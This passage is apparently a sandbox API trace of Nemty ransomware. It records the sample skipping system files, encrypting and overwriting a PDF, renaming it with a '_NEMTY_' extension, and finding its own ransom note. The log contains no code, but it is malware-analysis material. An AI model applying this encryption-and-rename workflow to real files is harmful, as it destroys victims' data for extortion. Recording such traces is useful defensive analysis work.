lpString2="ntldr") returned 1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.366] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.366] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.366] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0188.366] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0188.366] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0188.366] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0188.366] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.366] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0188.366] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0188.366] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0188.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0188.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0188.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340430 [0188.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340508 [0188.367] Sleep (dwMilliseconds=0x5) [0188.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23ec3fd0, dwHighDateTime=0x1d561e8)) [0188.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23ec3fd0, dwHighDateTime=0x1d561e8)) [0188.370] GetLastError () returned 0x0 [0188.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.370] GetLastError () returned 0x0 [0188.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.370] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.370] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.370] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0188.370] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="eWmYehROy50qGyg7x4jufMg9voSiQCPlSACoMKXG06CSMv5RzZfIHa8k/m9+CKpV\r\nipgO6W/HBOvkNYtdwIOX78wGPpbXeKzIL4/G+yU4/cfr2Z2eB3cblz1rdWp0tHnF\r\n1QYz5itfMV5F8UXxm6hNYNmTqIm4uyBAlBMLWfIfN/WenQ4+Qi5RdV5/fhS0UG7j\r\nmmW1JlF1okyj5Pfmd/kZLjiuGmz6as2vsUTMivalVI3QykczxDZkvm0uG2D8vKjx\r\n2D6rMBl9NgKF7wRxGwvr4CDvvHqnqo77J0ykhfCESlKDxaOzyUPTnV8pybycONun\r\nQEJPNoJpGMrOris+wsm0QQ==\r\n", pcchString=0x653df5c) returned 1 [0188.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0188.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.371] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.371] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=632973) returned 1 [0188.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.371] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.371] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.382] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.382] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.382] SetFilePointer (in: hFile=0x320, lDistanceToMove=632973, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a88d [0188.382] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.384] CloseHandle (hObject=0x320) returned 1 [0188.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344158 [0188.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0188.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344308 [0188.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0188.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.384] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0188.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0188.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0188.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340508 | out: hHeap=0x4f90000) returned 1 [0188.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.385] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23e2ba50, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23e2ba50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23e2ba50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0188.385] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0188.386] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0188.386] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0188.386] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0188.386] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0188.386] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0188.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0188.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0188.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0188.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.386] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23e2ba50, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23e2ba50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23e2ba50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0188.386] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0188.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0188.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.387] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="EUQ", cAlternateFileName="")) returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2=".") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="..") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="...") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="windows") returned -1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="$RECYCLE.BIN") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="rsa") returned -1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="NTDETECT.COM") returned -1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="ntldr") returned -1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="MSDOS.SYS") returned -1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="IO.SYS") returned -1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="boot.ini") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="boot.ini") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="ntuser.dat") returned -1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="desktop.ini") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="CONFIG.SYS") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="RECYCLER") returned -1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="BOOTSECT.BAK") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="bootmgr") returned 1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="programdata") returned -1 [0188.387] lstrcmpiW (lpString1="EUQ", lpString2="appdata") returned 1 [0188.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUQ", lpUsedDefaultChar=0x0) returned 3 [0188.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUQ", lpUsedDefaultChar=0x0) returned 3 [0188.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0188.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0188.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0188.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.388] MultiByteToWideChar 